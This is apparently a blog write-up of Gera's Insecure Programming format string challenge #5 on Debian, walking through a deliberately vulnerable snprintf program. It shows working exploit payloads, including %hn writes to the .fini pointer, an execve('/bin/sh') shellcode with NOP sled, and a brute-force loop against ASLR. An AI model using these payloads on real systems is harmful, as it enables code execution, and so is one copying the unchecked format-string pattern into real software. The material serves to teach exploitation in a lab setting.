Gera's Insecure Programming Format String #5 (ASLR Bypass)

This post is long overdue. I decided to step it up from FreeBSD to Debian. The last format string challenge from gera is a vanilla format string. You can find this challenge here.

/* fs5.c                                        *
 * specially crafted to feed your brain by gera */

/* go, go, go!                                  */
int main(int argv,char **argc) {
	char buf[256];
	snprintf(buf,sizeof buf,argc[1]);

                      /* this line'll make your life easier */
//	printf("%s\n",buf);             

I uncommented the last printf statement in the compiled version. The targeted platform is Debian 6.0.2.

lixor@debian:~/InsecureProgramming/fs5$ uname -a
Linux debian 2.6.32-5-686 #1 SMP Mon Jun 13 04:13:06 UTC 2011 i686 GNU/Linux

Debian has ASLR enable by default, but not NX for 386/686. For curious readers, how to enable NX on Debian 386/686 see Debian-security mailing list: non-executable stack (via PT_GNU_STACK) not being enforced. Basically you need to have a PAE enable kernel.

lixor@debian:~/InsecureProgramming/fs5$ ./fs5 `perl -e 'print "AAAA%x.%x.%x"'`

The format string was found after popping three 4 bytes values from the stack.

lixor@debian:~/InsecureProgramming/fs5$ readelf -S fs5
  [15] .fini             PROGBITS        080484cc 0004cc 00001c 00  AX  0   0  4
  [16] .rodata           PROGBITS        080484e8 0004e8 000008 00   A  0   0  4
  [17] .eh_frame         PROGBITS        080484f0 0004f0 000004 00   A  0   0  4
  [18] .ctors            PROGBITS        080494f4 0004f4 000008 00  WA  0   0  4
  [19] .dtors            PROGBITS        080494fc 0004fc 000008 00  WA  0   0  4
  [20] .jcr              PROGBITS        08049504 000504 000004 00  WA  0   0  4
  [21] .dynamic          DYNAMIC         08049508 000508 0000d0 08  WA  7   0  4
lixor@debian:~/InsecureProgramming/fs5$ readelf -x .dynamic ./fs5

Hex dump of section '.dynamic':
  0x08049508 01000000 10000000 0c000000 c0820408 ................
  0x08049518 0d000000 cc840408 04000000 6c810408 ............l...

Attentive readers will notice .fini address (0x080484cc) in .dynamic (0x0804951c). The .fini address is a good location to write at; another location could have be printf’s address in GOT.

lixor@debian:~/InsecureProgramming/fs5$ ./fs5 `perl -e 'print "\x1c\x95\x04\x08POLY\x1e\x95\x04\x08%x%hn%x%hn"'`
Segmentation fault (core dumped)
lixor@debian:~/InsecureProgramming/fs5$ gdb fs5 core
GNU gdb (GDB) 7.0.1-debian
Core was generated by `./fs5 POLY%x%hn%x%hn'.
Program terminated with signal 11, Segmentation fault.
#0  0x001c0014 in ?? ()
(gdb) q
lixor@debian:~/InsecureProgramming/fs5$ export SH3LL=`perl -e 'print "\x90"x2000 ."\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"'`

The address of the shellcode is not easly found because of ASLR, but we can brute force the address. An address to use is 0xbfffad55 as it is in the range of 0xbf~~~~.

lixor@debian:~/InsecureProgramming/fs5$ while true; do ./fs5 `perl -e 'print "\x1c\x95\x04\x08POLY\x1e\x95\x04\x08%44361x%hn%4778x%hn"'`; done
Segmentation fault (core dumped)
Segmentation fault (core dumped)